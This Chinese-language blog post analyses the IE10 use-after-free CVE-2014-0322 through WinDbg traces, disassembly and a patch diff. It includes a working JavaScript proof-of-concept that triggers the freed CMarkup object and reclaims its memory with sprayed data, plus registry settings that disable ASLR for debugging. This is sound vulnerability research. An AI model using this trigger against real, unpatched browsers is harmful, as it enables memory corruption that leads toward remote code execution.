CVE-2014-0322 UAF Analysis

这是上周面试管家时,让我写的漏洞分析报告。虽然最后没去管家,目前,还是不想离开成都:)。

前言

分析环境:

Windows 8 Enterprise x86 (9200)
Internet Explorer 10.0.9200.16384

受影响的文件:

文件名:mshtml.dll
MD5:1F5717EA98EFA062F3E73F0D1790699F
SHA1:91C5D01D0EB855185DA66621DA1F328F2AB19FDC
文件版本:10.00.9200.16384

漏洞概述:

在mshtml!CElement::PrivateExitTree函数中对CMarkup对象的处理不当导致Use-After-Free,最终可导致任意地址的内容加1,结合Flash可以造成远程代码执行。

使用的POC代码如下(来自这里):

为了方便分析,关闭ASLR、切换IE为单进程:

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management]
"MoveImages"=dword:00000000
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain]
"TabProcGrowth"=dword:00000000

漏洞调试

WinDbg加载IE,打开poc.htm文件,导致内存访问异常。异常信息如下:

(c30.f20): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=051d7408 ecx=00000001 edx=06d62868 esi=06d62868 edi=01270ee0
eip=64d27a59 esp=04fbb4bc ebp=04fbb528 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16:
64d27a59 ff4010          inc     dword ptr [eax+10h]  ds:0023:41414151=????????

触发异常的函数如下:

.text:63697A43 ; public: void __thiscall CMarkup::UpdateMarkupContentsVersion(void)
.text:63697A43 ?UpdateMarkupContentsVersion@CMarkup@@QAEXXZ proc near
.text:63697A43                                         ; CODE XREF: CMarkup::NotifyElementEnterTree(CElement *,CTreeNode     *,CTreePos *,CTreePos *,long,long,ulong)+272p
.text:63697A43                                         ; CMarkup::FastElemTextSet(CElement *,ushort const *,int,int)+F9p ...
.text:63697A43
.text:63697A43 ; FUNCTION CHUNK AT .text:6379DE3F SIZE 00000034 BYTES
.text:63697A43 ; FUNCTION CHUNK AT .text:63AEDA5A SIZE 0000002B BYTES
.text:63697A43
.text:63697A43                 mov     eax, [edx+7Ch]
.text:63697A46                 inc     eax
.text:63697A47                 or      eax, 80000000h
.text:63697A4C                 mov     [edx+7Ch], eax
.text:63697A4F                 mov     eax, [edx+0ACh] ; eax = Some Object
.text:63697A55                 test    eax, eax
.text:63697A57                 jz      short loc_63697A5C
.text:63697A59                 inc     dword ptr [eax+10h] ; crash!!!

eax来自于edx,查看edx:

0:011> dd edx
06d62868  41414141 41414141 41414141 41414141
06d62878  41414141 41414141 41414141 41414141
06d62888  41414141 41414141 41414141 41414141
06d62898  41414141 41414141 41414141 41414141
06d628a8  41414141 41414141 41414141 41414141
06d628b8  41414141 41414141 41414141 41414141
06d628c8  41414141 41414141 41414141 41414141

这段代码在访问CMarkup对象的时候,企图从CMarkup的0x0AC偏移中取出另外一个对象,并尝试对该对象0x10处的成员进行自增。由于之前的代码存在漏洞,导致CMarkup对象的内容已经被覆盖,0x10处已经被覆盖为0x41414141, 故尝试自增导致了内存访问异常。所以,需要跟踪CMarkup对象的分配和释放情况。

为了跟踪CMarkup对象的分配和释放情况,可以通过对其构造函数和虚构函数进行监视:

bu mshtml!CMarkup::CMarkup ".printf"LOG: Alloc CMarkupt%p", @esi;.echo;g;"
bu mshtml!CMarkup::~CMarkup ".printf"LOG: Free CMarkupt%p", @ecx;.echo;g;"

根据分析,在CMarkup::CMarkup的时候,esi指向为该对象分配的内存,CMarkup::~CMarkup的时候则是ecx。

为了准确定位触发漏洞的JavaScript语句,可以使用Math函数输出Log作为Trace,对于新版的Internet Explorer使用的JScript9,可使用如下代码:

bu jscript9!Js::Math::Atan2 ".printf "LOG: %mu",poi(poi(esp+14)+c);.echo;g;"

接下来修改poc的代码如下:

function fun() {
  Math.atan2(0xbabe, "[*] onpropertychange enter...");
  var a = 0;
  // to alloc the memory
  for (a = 0; a < arrLen; ++a) {
    g_arr[a] = document.createElement('button')
  };
  var b = dword2data(0x41414141);
  while (b.length < 0x360) b += dword2data(0x41414141);
  var d = b.substring(0, (0x340 - 2) / 2);
  try {
    Math.atan2(0xbabe, "[*] Before outerHTML...");
    this.outerHTML = this.outerHTML
    Math.atan2(0xbabe, "[*] After outerHTML...");
  } catch (e) {}
  CollectGarbage();
  // to reuse the freed memory
  for (a = 0; a < arrLen; ++a) {
    g_arr[a].title = d.substring(0, d.length);
  }
  Math.atan2(0xbabe, "[*] onpropertychange leave...");
}
function puIHa3() {
  Math.atan2(0xbabe, "[*] puIHa3 enter...");
  var a = document.getElementsByTagName("script");
  var b = a[0];
  Math.atan2(0xbabe, "[*] Before onpropertychange...");
  b.onpropertychange = fun;
  Math.atan2(0xbabe, "[*] After onpropertychange...");
  var c = document.createElement('SELECT');
  Math.atan2(0xbabe, "[*] Before appendChild...");
  b.appendChild(c); //
  Math.atan2(0xbabe, "[*] After appendChild...");
  Math.atan2(0xbabe, "[*] puIHa3 leave...");
}
puIHa3();

重新用WinDbg载入IE并运行脚本,得到的LOG如下:

LOG: [*] puIHa3 enter...            // 开始执行puIHa3
LOG: [*] Before onpropertychange...
LOG: [*] onpropertychange enter...
LOG: [*] Before outerHTML...
LOG: Alloc CMarkup  05e72168        // this.outerHTML=this.outerHTML执行的时候会分配、释放一个CMarkup对象。
LOG: Free CMarkup   05e72168        //
LOG: [*] After outerHTML...
LOG: [*] onpropertychange leave...
LOG: [*] After onpropertychange…    // 以上代码执行完毕,即js中的b.onpropertychange = fun;执行完毕
LOG: [*] Before appendChild…        // 开始执行c = b.appendChild(c);
LOG: Alloc CMarkup  05f24b58        // CMark分配的对象05f24b58
LOG: [*] onpropertychange enter...  // 执行appendChild导致onpropertychange被执行
LOG: [*] Before outerHTML...        // 执行this.outerHTML=this.outerHTML
LOG: Alloc CMarkup  05f26c28
LOG: Free CMarkup   05f26c28
LOG: Free CMarkup   05f24b58        // !!!释放了appendChild分配的CMarkup对象
LOG: [*] After outerHTML...
LOG: [*] onpropertychange leave...  // onpropertychange函数结束
(ce4.f3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=04470778 ecx=00000001 edx=05f24b58 esi=05f24b58 edi=0444dc40
eip=64d27a59 esp=0474b1dc ebp=0474b248 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16:
64d27a59 ff4010          inc     dword ptr [eax+10h]  ds:0023:41414151=????????

所以,漏洞触发的大体流程如下:

  1. 在执行appendChild的时候,会分配一个CMarkup对象,称之为CMakeup A。
  2. 执行appendChild会导致OnPropertyChange事件的触发,从而之前设置的fun会被执行。
  3. 当执行到this.outerHTML=this.outerHTML的时候,会涉及到一些CMarkup对象的操作。
  4. outerHTML赋值的时候,会申请并释放CMarkup B,但此后会释放掉CMakeup A。
  5. OnPropertyChange事件结束,回到appendChild,此时appendChild不知道对象已经释放,仍然继续对其进行操作,导致UAF。

现在需要跟踪CMarkup A对象的分配和释放情况,以便于定位存在漏洞的函数。
通过修改脚本,去掉了“g;”,可以视为对JavaScript的单步。appendChild开始,记录到的CMarkup A对象为0561be50。去掉其他断点,保留对析构函数的断点。当然断下后,ecx=0561be50,查看调用栈如下:

0:011> kv
ChildEBP RetAddr  Args to Child
0432a294 6280e77f 0561be50 0432a2bc 627e758a mshtml!CMarkup::~CMarkup (FPO: [Non-Fpo])
0432a2a0 627e758a 00000001 627e7600 0432a520 mshtml!CMarkup::`vector deleting destructor'+0xd (FPO: [Non-Fpo])
0432a2a8 627e7600 0432a520 0561be50 03f8a728 mshtml!CBase::SubRelease+0x2e (FPO: [0,0,0])
0432a2bc 62809bdb 0561be50 00000000 0432a434 mshtml!CBase::PrivateRelease+0xa6 (FPO: [Non-Fpo])
0432a2cc 62cdded9 0561be50 00000044 0556df10 mshtml!CMarkup::Release+0x2d (FPO: [Non-Fpo])
0432a434 62cde27b 03f8a728 00000005 00000000 mshtml!InjectHtmlStream+0x704 (FPO: [Non-Fpo])
0432a474 6286bd08 0432a4d8 0432a520 0552d5e4 mshtml!HandleHTMLInjection+0x82 (FPO: [Non-Fpo])

根据调用栈,可以知道,实际上释放CMarkup A对象的代码在函数mshtml!InjectHtmlStream中,对应的代码如下:

.text:63ADDEC0 loc_63ADDEC0:                           ; CODE XREF: InjectHtmlStream(CMarkupPointer *,CMarkupPointer *,IStream *,ulong,CElement *,INJECTION_FLAGS,CElement *,ELEMENT_TAG,bool,uint,CPSRCE)+56j
.text:63ADDEC0                 mov     ecx, [eax]
.text:63ADDEC2                 cmp     dword ptr [ecx+1D0h], offset ___vtguard
.text:63ADDECC                 jnz     check_vtguard_failed
.text:63ADDED2                 push    eax
.text:63ADDED3                 call    dword ptr [ecx+220h] ; mshtml!CMarkup::Release()

该函数头部有对CMarkup对象进行AddRef的操作:

.text:63ADD7E1                 mov     ebx, [ebp+ooxx_pointer_x]
.text:63ADD7E4                 mov     eax, [ebx+24h]  ; CMarkupPointer + 0x24 = CMarkupObject A
.text:63ADD7E7                 push    esi
.text:63ADD7E8                 push    edi
.text:63ADD7E9                 mov     esi, 800A0258h
.text:63ADD7EE                 mov     [ebp+append_ChildObject], eax
.text:63ADD7F1                 test    eax, eax
.text:63ADD7F3                 jz      loc_63ADDED9
.text:63ADD7F9                 mov     edi, [ebp+arg_4]
.text:63ADD7FC                 cmp     dword ptr [edi+24h], 0
.text:63ADD800                 jz      loc_63ADDED9
.text:63ADD806                 mov     ecx, [ebx+20h]
.text:63ADD809                 mov     [ebp+ooxx_pointer_x], ecx
.text:63ADD80C                 mov     ecx, [eax]
.text:63ADD80E                 cmp     dword ptr [ecx+1D0h], offset ___vtguard ; ecx = vtable of CMarkup.
.text:63ADD818                 jnz     check_vtguard_failed
.text:63ADD81E                 push    eax
.text:63ADD81F                 call    dword ptr [ecx+21Ch] ; call mshtml!CMarkup::AddRef

查看CMarkup对象的虚表:

0:011> r ecx
ecx=0561be50
0:011> dd ecx L 1
0561be50  627a5b90                      // vtable
0:011> dd 627a5b90+21c L 1              // vtable + 0x21C
627a5dac  62809c11
0:011> u 62809c11 L 1
mshtml!CMarkup::AddRef:
62809c11 8bff            mov     edi,edi
0:011> dd 627a5b90+220 L 1              // vtable + 0x220
627a5db0  62809ba2
0:011> u 62809ba2 L 1
mshtml!CMarkup::Release:
62809ba2 8bff            mov     edi,edi

根据上述信息,可知CMarkup使用了类似于智能指针的东西,在引用对象的时候,调用AddRef增加计数;在不需要该对象的时候,调用Release减少引用计数;当引用计数为0的时候,从内存中删除该对象。所以,现在需要跟踪0561be50引用计数的情况。

在执行到mshtml!InjectHtmlStream的时候断下,此时需要跟踪CMarkup A对象在这个scope中的引用情况。

所以,分别对mshtml!CMarkup::AddRef和mshtml!CMarkup::Release函数下断点,根据下面代码,edi和esi分别为要操作的对象,0561be50是需要观察的值。

0:011> u mshtml!CMarkup::AddRef
mshtml!CMarkup::AddRef:
62809c11 8bff            mov     edi,edi
62809c13 55              push    ebp
62809c14 8bec            mov     ebp,esp
62809c16 57              push    edi
62809c17 8b7d08          mov     edi,dword ptr [ebp+8]
62809c1a 8b07            mov     eax,dword ptr [edi]
0:011> u mshtml!CMarkup::Release
mshtml!CMarkup::Release:
62809ba2 8bff            mov     edi,edi
62809ba4 55              push    ebp
62809ba5 8bec            mov     ebp,esp
62809ba7 56              push    esi
62809ba8 8b7508          mov     esi,dword ptr [ebp+8]
62809bab 8b06            mov     eax,dword ptr [esi]

以下信息记录了mshtml!InjectHtmlStream中对0561be50引用计数的操作:

1. CMarkup::AddRef

mshtml!CMarkup::AddRef+0x6:
62809c17 8b7d08          mov     edi,dword ptr [ebp+8] ss:0023:0432a2d4=0561be50
// Stack
0:011> kv
ChildEBP RetAddr  Args to Child
0432a2cc 62cdd825 0561be50 00000044 0556df10 mshtml!CMarkup::AddRef+0x6 (FPO: [Non-Fpo])
0432a434 62cde27b 03f8a728 0432a520 0556df10 mshtml!InjectHtmlStream+0x50 (FPO: [Non-Fpo])
0432a474 6286bd08 0432a4d8 0432a520 0552d5e4 mshtml!HandleHTMLInjection+0x82 (FPO: [Non-Fpo])

2. CMarkup::AddRef

mshtml!CMarkup::AddRef+0x6:
62809c17 8b7d08          mov     edi,dword ptr [ebp+8] ss:0023:04329e38=0561be50
// Stack
0:011> kv
ChildEBP RetAddr  Args to Child
04329e30 62869960 0561be50 62869cab 00000000 mshtml!CMarkup::AddRef+0x6 (FPO: [Non-Fpo])
04329e38 62869cab 00000000 00000000 03f81728 mshtml!CMarkup::CLock::CLock+0x17 (FPO: [0,0,0])
0432a038 62cf1425 0561be50 05522900 00000100 mshtml!CSpliceTreeEngine::RemoveSplice+0x68 (FPO: [Non-Fpo])
0432a118 62cf151e 0432a154 0432a168 00000000 mshtml!CMarkup::SpliceTreeInternal+0x182 (FPO: [6,53,4])
0432a2a4 62cf156a 0432a4d8 0432a520 00000000 mshtml!CDoc::CutCopyMove+0x3dc (FPO: [5,87,4])
0432a2c4 62ce6be3 0432a4d8 0432a520 00000000 mshtml!CDoc::Remove+0x1a (FPO: [3,0,0])
0432a434 62cde27b 03f8a728 00000005 00000000 mshtml!InjectHtmlStream+0x759 (FPO: [Non-Fpo])

3. CMarkup::Release

mshtml!CMarkup::Release+0x6:
62809ba8 8b7508          mov     esi,dword ptr [ebp+8] ss:0023:04329e10=0561be50
// Stack
0:011> kv
ChildEBP RetAddr  Args to Child
04329e08 62cdece2 0561be50 03fee090 0432a048 mshtml!CMarkup::Release+0x6 (FPO: [Non-Fpo])
04329e30 62cdb92e 03fee090 0561be50 00000000 mshtml!CElement::PrivateExitTree+0x3aa (FPO: [Non-Fpo])
0432a038 62cf1425 0561be50 05522900 00000100 mshtml!CSpliceTreeEngine::RemoveSplice+0x5ed (FPO: [Non-Fpo])
0432a118 62cf151e 0432a154 0432a168 00000000 mshtml!CMarkup::SpliceTreeInternal+0x182 (FPO: [6,53,4])
0432a2a4 62cf156a 0432a4d8 0432a520 00000000 mshtml!CDoc::CutCopyMove+0x3dc (FPO: [5,87,4])
0432a2c4 62ce6be3 0432a4d8 0432a520 00000000 mshtml!CDoc::Remove+0x1a (FPO: [3,0,0])
0432a434 62cde27b 03f8a728 00000005 00000000 mshtml!InjectHtmlStream+0x759 (FPO: [Non-Fpo])

4. CMarkup::Release

mshtml!CMarkup::Release+0x6:
62809ba8 8b7508          mov     esi,dword ptr [ebp+8] ss:0023:04329e38=0561be50
// Stack
0:011> kv
ChildEBP RetAddr  Args to Child
04329e30 62869983 0561be50 6286a1b5 00000000 mshtml!CMarkup::Release+0x6 (FPO: [Non-Fpo])
04329e38 6286a1b5 00000000 00000000 03f81728 mshtml!CMarkup::CLock::~CLock+0x17 (FPO: [0,0,0])
0432a038 62cf1425 0561be50 05522900 00000100 mshtml!CSpliceTreeEngine::RemoveSplice+0x80b (FPO: [Non-Fpo])
0432a118 62cf151e 0432a154 0432a168 00000000 mshtml!CMarkup::SpliceTreeInternal+0x182 (FPO: [6,53,4])
0432a2a4 62cf156a 0432a4d8 0432a520 00000000 mshtml!CDoc::CutCopyMove+0x3dc (FPO: [5,87,4])
0432a2c4 62ce6be3 0432a4d8 0432a520 00000000 mshtml!CDoc::Remove+0x1a (FPO: [3,0,0])
0432a434 62cde27b 03f8a728 00000005 00000000 mshtml!InjectHtmlStream+0x759 (FPO: [Non-Fpo])

5. CMarkup::Release

mshtml!CMarkup::Release+0x6:
62809ba8 8b7508          mov     esi,dword ptr [ebp+8] ss:0023:0432a2d4=0561be50
// Stack
0:011> kv
ChildEBP RetAddr  Args to Child
0432a2cc 62cdded9 0561be50 00000044 0556df10 mshtml!CMarkup::Release+0x6 (FPO: [Non-Fpo])
0432a434 62cde27b 03f8a728 00000005 00000000 mshtml!InjectHtmlStream+0x704 (FPO: [Non-Fpo])
0432a474 6286bd08 0432a4d8 0432a520 0552d5e4 mshtml!HandleHTMLInjection+0x82 (FPO: [Non-Fpo])

AddRef和Release的次数为奇数,异常的Release操作就在这其中。对应的分析如下:

(1)和(5):mshtml!InjectHtmlStream对0561be50的引用没有问题。第(1)次和第(5)次调用,显示了mshtml!InjectHtmlStream在函数进入的时候对0561be50进行了AddRef,在退出的时候Release,符合AddRef和Release的设计初衷。
(2)和(4):Stack显示AddRef来自mshtml!CMarkup::CLock::CLock,Release来自mshtml!CMarkup::CLock::~CLock,这种手法常见于C++的技巧,通过局部变量的ctor和dtor,保证在当前scope内对该对象的占有。

所以,出问题的是第(3)次的Release。

在该操作之前没有对调用CMarkup::AddRef。在没Ref的情况下对CMarkup进行Release,导致了mshtml!InjectHtmlStream结束的时候,CMarkup对象已经被释放。

根据(3)的CallStack,找到对应的释放代码:

.text:63ADECC9 jump_to_fatal_release:                  ; CODE XREF: CElement::PrivateExitTree(CMarkup *)+5F296Dj
.text:63ADECC9                 mov     eax, [esi]
.text:63ADECCB                 cmp     dword ptr [eax+1D0h], offset ___vtguard
.text:63ADECD5                 jnz     loc_63855AD9
.text:63ADECDB                 push    esi
.text:63ADECDC                 call    dword ptr [eax+220h] ; !!!

根据上述信息,定位到了真正发生错误的代码。最后执行的路径是CSpliceTreeEngine::RemoveSplice -> CElement::PrivateExitTree。

根据上述信息,没法准确的判断漏洞是如何产生的,下面通过对比打补丁前后的文件,查找漏洞的成因。

补丁后的文件:

文件名:mshtml.dll
MD5:9F378D86F983E84A0212678C1D18D7FC
SHA1:B66FF0EC15DE4FE7963DEEF987D45FDB8DF6E7DF
文件版本:10.00.9200.16843

先是10.00.9200.16843,进入CSpliceTreeEngine::RemoveSplice的时候:

.text:6376E8B0                 cmp     dword ptr [eax+1D4h], offset ___vtguard
.text:6376E8BA                 mov     [esp+258h+var_24C], edi
.text:6376E8BE                 mov     [esp+258h+var_18C], ecx
.text:6376E8C5                 jnz     loc_637BF152
.text:6376E8CB                 jmp     loc_6376F000
// 6376F000
.text:6376F000 loc_6376F000:                           ; CODE XREF: CSpliceTreeEngine::RemoveSplice(void)+8Aj
.text:6376F000                 push    ecx
.text:6376F001                 call    dword ptr [eax+220h] ; call mshtml!CMarkup::AddRef

10.00.9200.16843的CElement::PrivateExitTree函数中释放的代码:

.text:63777626
.text:63777626 loc_63777626:                           ; CODE XREF: CElement::PrivateExitTree(CMarkup *)+16Bj
.text:63777626                 test    eax, eax
.text:63777628                 js      loc_640DBC28
.text:6377762E
.text:6377762E loc_6377762E:                           ; CODE XREF: CElement::PrivateExitTree(CMarkup *)+968EC0j
.text:6377762E                 mov     eax, [ebx]
.text:63777630                 cmp     dword ptr [eax+1D4h], offset ___vtguard
.text:6377763A                 jnz     loc_6396C531
.text:63777640                 push    ebx
.text:63777641                 call    dword ptr [eax+224h] ; call mshtml!CMarkup::Release

可见,在10.00.9200.16843中,CMarkup::AddRef和CMarkup::Release已经配对。而10.0.9200.16384的是这样的,进入的CSpliceTreeEngine::RemoveSplice的时候:

.text:63669C9D                 mov     ecx, [esi+8]
.text:63669CA0                 lea     esi, [ebp+var_1B4]
.text:63669CA6                 call    ??0CLock@CMarkup@@QAE@PAV1@@Z ; CMarkup::CLock::CLock(CLock *)
.text:63669CAB                 mov     esi, [ebp+var_150]
.text:63669CB1                 mov     eax, [esi+1Ch]

离开CSpliceTreeEngine::RemoveSplice:

.text:6366A1AA                 lea     eax, [ebp+var_1B4]
.text:6366A1B0                 call    ??1CLock@CMarkup@@QAE@XZ ; CMarkup::CLock::~CLock(void)
.text:6366A1B5                 lea     eax, [ebp+var_108]

CMarkup::CLock类,不出意外的只是负责维护引用计数:

.text:63669945 ; public: __thiscall CMarkup::CLock::CLock(class CLock *)
.text:63669945 ??0CLock@CMarkup@@QAE@PAV1@@Z proc near ; CODE XREF: CSpliceTreeEngine::RemoveSplice(void)+63p
.text:63669945                                         ; CElement::ReplaceChildHelper(CElement *,CDOMTextNode *,CElement *,CDOMTextNode *,OMVersion,CMarkup *)+92p ...
.text:63669945                 mov     [esi], ecx
.text:63669947                 mov     eax, [ecx]
.text:63669949                 cmp     dword ptr [eax+1D0h], offset ___vtguard
.text:63669953                 jnz     ___report_gsfailure
.text:63669959                 push    ecx
.text:6366995A                 call    dword ptr [eax+21Ch] ; call mshtml!CMarkup::AddRef
.text:63669960                 mov     eax, esi
.text:63669962                 retn
.text:63669962 ??0CLock@CMarkup@@QAE@PAV1@@Z endp
.text:63669962
.text:63669962 ; ---------------------------------------------------------------------------
.text:63669963                 align 8
.text:63669968
.text:63669968 ; =============== S U B R O U T I N E =======================================
.text:63669968
.text:63669968
.text:63669968 ; public: __thiscall CMarkup::CLock::~CLock(void)
.text:63669968 ??1CLock@CMarkup@@QAE@XZ proc near      ; CODE XREF: CSpliceTreeEngine::RemoveSplice(void)+56Dp
.text:63669968                                         ; CScriptData::Execute(void)-183A5Ap ...
.text:63669968                 mov     eax, [eax]
.text:6366996A                 mov     ecx, [eax]
.text:6366996C                 cmp     dword ptr [ecx+1D0h], offset ___vtguard
.text:63669976                 jnz     ___report_gsfailure
.text:6366997C                 push    eax
.text:6366997D                 call    dword ptr [ecx+220h] ; call mshtml!CMarkup::Release
.text:63669983                 retn
.text:63669983 ??1CLock@CMarkup@@QAE@XZ endp

而在CElement::PrivateExitTree中,使用CMarkup::Release减少引用次数:

.text:63ADECC9 jump_to_fatal_release:                  ; CODE XREF: CElement::PrivateExitTree(CMarkup *)+5F296Dj
.text:63ADECC9                 mov     eax, [esi]
.text:63ADECCB                 cmp     dword ptr [eax+1D0h], offset ___vtguard
.text:63ADECD5                 jnz     loc_63855AD9
.text:63ADECDB                 push    esi
.text:63ADECDC                 call    dword ptr [eax+220h] ; !!! Fatal release!
.text:63ADECE2                 pop     edi

目前,可以猜测这个地方有两个程序员在维护这些代码,前者希望通过CMarkup::CLock来释放引用计数(RAII)。而这个函数提供了另外一个负责资源释放的函数,即CElement::PrivateExitTree。
维护这个函数的程序员不知道前者使用了CMarkup::CLock,简单粗暴的使用了CMarkup::Release()引用计数,导致了AddRef和Release的不平衡,最终导致appendChild分配的对象过早释放,当appendChild使用的时候,造成UAF。

最终,在调用MSHTML!CMarkup::UpdateMarkupContentsVersion的时候,能够触发任意地址内容加1的漏洞。

CVE-2014-0322 UAF Analysis》有3个想法

发表评论